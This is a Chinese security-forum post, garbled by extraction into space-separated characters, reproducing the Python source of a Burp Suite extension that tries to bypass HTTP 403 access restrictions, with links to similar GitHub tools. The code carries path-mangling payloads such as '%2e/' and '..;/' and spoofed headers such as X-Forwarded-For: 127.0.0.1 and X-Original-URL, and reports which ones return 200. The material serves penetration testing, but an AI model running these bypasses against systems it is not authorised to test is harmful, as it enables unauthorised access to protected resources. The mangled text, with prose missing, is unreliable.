[18631] 2021-07-12_插件403bypass

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-07-12_插件403bypass 4 0 3 b y p a s s   R a i n S o n g   h e r e 4 0 4   2 0 2 1 - 0 7 - 1 2   # b u r p   , 4 U R L 4 0 3 b y p a s s 姿 0 x 0 0   b u r p B u r p S u i t e _ 4 0 3 B y p a s s e r p y d e f   d o P a s s i v e S c a n ( s e l f ,   b a s e R e q u e s t R e s p o n s e ) :                                 #   l o o k   f o r   m a t c h e s   o f   o u r   p a s s i v e   c h e c k   g r e p   s t r i n g                 m a t c h e s   =   s e l f . _ g e t _ m a t c h e s ( s e l f . _ h e l p e r s . a n a l y z e R e s p o n s e ( b a s e R e q u e s t R e s p o n s e . g e t R e s p o n s e ( ) ) . g e t S t a t u s C o d e ( ) )                 i f   m a t c h e s   = =   F a l s e :                         r e t u r n   N o n e                                 O l d R e q   =   s e l f . _ h e l p e r s . b y t e s T o S t r i n g ( b a s e R e q u e s t R e s p o n s e . g e t R e q u e s t ( ) )                 O r i g i n a l U r l   =   s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( b a s e R e q u e s t R e s p o n s e ) . g e t U r l ( ) . g e t P a t h ( )                 R u r l   =   s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( b a s e R e q u e s t R e s p o n s e ) . g e t U r l ( ) . g e t P a t h ( )                 i f   R u r l   ! =   " / " :                         R u r l   =   s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( b a s e R e q u e s t R e s p o n s e ) . g e t U r l ( ) . g e t P a t h ( ) . r s t r i p ( " / " )                 P r e v i o u s P a t h   =   ' / ' . j o i n ( s t r ( R u r l ) . s p l i t ( ' / ' ) [ : - 1 ] )                 L a s t P a t h   =   s t r ( R u r l ) . s p l i t ( ' / ' ) [ - 1 ]                 s e l f . s t d o u t . p r i n t l n ( " S c a n n i n g :   " + R u r l )                 s e l f . s t d o u t . p r i n t l n ( s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( b a s e R e q u e s t R e s p o n s e ) . g e t H e a d e r s ( ) )                 p a y l o a d s   =   [ " % 2 e / " + L a s t P a t h ,   L a s t P a t h + " / . " ,   " . / " + L a s t P a t h + " / . / " ,   L a s t P a t h + " % 2 0 / " ,   " % 2 0 " + L a s t P a t h + " % 2 0 / " ,   L a s t P a t h + " . . ; / " , L a s t P a t h + " ? " , L a s t P a t h + " ? ? " , " / " + L a s t P a t h + " / / " , L a s t P a t h + " / " , L a s t P a t h + " / . r a n d o m s t r i n g " ]                 h p a y l o a d s   =   [ " X - R e w r i t e - U R L :   " + O r i g i n a l U r l ,   " X - O r i g i n a l - U R L :   " + O r i g i n a l U r l , " R e f e r e r :   / " + L a s t P a t h ,   " X - C u s t o m - I P - A u t h o r i z a t i o n :   1 2 7 . 0 . 0 . 1 " , " X - O r i g i n a t i n g - I P :   1 2 7 . 0 . 0 . 1 " , " X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 1 " , " X - R e m o t e - I P :   1 2 7 . 0 . 0 . 1 " , " X - C l i e n t - I P :   1 2 7 . 0 . 0 . 1 " , " X - H o s t :   1 2 7 . 0 . 0 . 1 " , " X - F o r w a r d e d - H o s t :   1 2 7 . 0 . 0 . 1 " ]                 r e s u l t s   =   [ ]                 f o r   p   i n   p a y l o a d s :                         N e w R e q   =   O l d R e q . r e p l a c e ( R u r l ,   P r e v i o u s P a t h + " / " + p )                         c h e c k R e q u e s t R e s p o n s e   =   s e l f . _ c a l l b a c k s . m a k e H t t p R e q u e s t ( b a s e R e q u e s t R e s p o n s e . g e t H t t p S e r v i c e ( ) ,   s e l f . _ h e l p e r s . s t r i n g T o B y t e s ( N e w R e q ) )                         #   s e l f . s t d o u t . p r i n t l n ( s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( c h e c k R e q u e s t R e s p o n s e ) . g e t U r l ( ) . g e t P a t h ( ) )                         S T T _ C O D E   =   s e l f . _ h e l p e r s . a n a l y z e R e s p o n s e ( c h e c k R e q u e s t R e s p o n s e . g e t R e s p o n s e ( ) ) . g e t S t a t u s C o d e ( )                         i f   S T T _ C O D E   = =   2 0 0 :                                 r e s u l t s . a p p e n d ( " U r l   p a y l o a d :   " + s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( c h e c k R e q u e s t R e s p o n s e ) . g e t U r l ( ) . g e t P a t h ( )   +   "   |   S t a t u s   c o d e :   " + s t r ( S T T _ C O D E ) )                                                                         f o r   h p   i n   h p a y l o a d s :                         i f   h p . s t a r t s w i t h ( " X - O r i g i n a l - U R L : " ) :                                 N e w R e q   =   O l d R e q . r e p l a c e ( R u r l ,   R u r l + " 4 n y t h 1 n g " )                         i f   h p . s t a r t s w i t h ( " X - R e w r i t e - U R L : " ) :                                 N e w R e q   =   O l d R e q . r e p l a c e ( R u r l ,   " / " )                         i f   h p . s t a r t s w i t h ( " R e f e r e r : " )   a n d   " R e f e r e r : "   i n   O l d R e q :   # R e p l a c e   h e a d e r                                 N e w R e q   =   s e l f . r p l H e a d e r ( O l d R e q ,   " R e f e r e r " ,   h p )                         e l s e :   # A d d   h e a d e r                                 N e w R e q   =   O l d R e q . r e p l a c e ( " U s e r - A g e n t :   " ,   h p + " r n " + " U s e r - A g e n t :   " )                         #   s e l f . s t d o u t . p r i n t l n ( N e w R e q )                         c h e c k R e q u e s t R e s p o n s e   =   s e l f . _ c a l l b a c k s . m a k e H t t p R e q u e s t ( b a s e R e q u e s t R e s p o n s e . g e t H t t p S e r v i c e ( ) ,   s e l f . _ h e l p e r s . s t r i n g T o B y t e s ( N e w R e q ) )                         S T T _ C O D E   =   s e l f . _ h e l p e r s . a n a l y z e R e s p o n s e ( c h e c k R e q u e s t R e s p o n s e . g e t R e s p o n s e ( ) ) . g e t S t a t u s C o d e ( )                         i f   S T T _ C O D E   = =   2 0 0 :                                 r e s u l t s . a p p e n d ( " H e a d e r   p a y l o a d :   " + h p   +   "   |   S t a t u s   c o d e :   " + s t r ( S T T _ C O D E ) )                                 i f   l e n ( r e s u l t s )   = =   0 :                         r e t u r n   N o n e
                r e t u r n   [ C u s t o m S c a n I s s u e (                         b a s e R e q u e s t R e s p o n s e . g e t H t t p S e r v i c e ( ) ,                         s e l f . _ h e l p e r s . a n a l y z e R e q u e s t ( b a s e R e q u e s t R e s p o n s e ) . g e t U r l ( ) ,                         [ s e l f . _ c a l l b a c k s . a p p l y M a r k e r s ( b a s e R e q u e s t R e s p o n s e ,   N o n e ,   N o n e ) ] ,                         " 4 0 3   B y p a s s   V u l n " ,                         ' < b r > ' . j o i n ( r e s u l t s ) ,                         " H i g h " ) ] b y p a s s 4 0 3 姿 U R L r e f e r X - O r i g i n a l - U R L X - R e w r i t e - U R L x - f o r w a r d e d - f o r h o s t h o s t h o s t 使 p a y l o a d h t t p s : / / g i t h u b . c o m / y u n e m s e 4 8 / 4 0 3 b y p a s s e r h t t p s : / / g i t h u b . c o m / s m a c k e r d o d i / 4 0 3 b y p a s s e r h t t p s : / / g i t h u b . c o m / k i r a 2 0 4 0 k / 4 0 3 b y p a s s h t t p s : / / g i t h u b . c o m / f 0 n g / 4 0 3 b y p a s s
h t t p s : / / g i t h u b . c o m / G i l z y / 4 0 3 B y p a s s e r / b l o b / m a i n / 4 0 3 B y p a s s e r . p y p a y l o a d 0 x 0 1   b u r p 使 访 b u r p u r l x - o r i g i n a l - u r l c a r l o s 访 a d m i n a d m i n x - o r i g i n - u r l ,
b u r p b u r p s t a t u s _ c o d e 4 0 3 u r l X - O r i g i n a l - U R L , B u r p S u i t e _ 4 0 3 B y p a s s e r h e a d e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则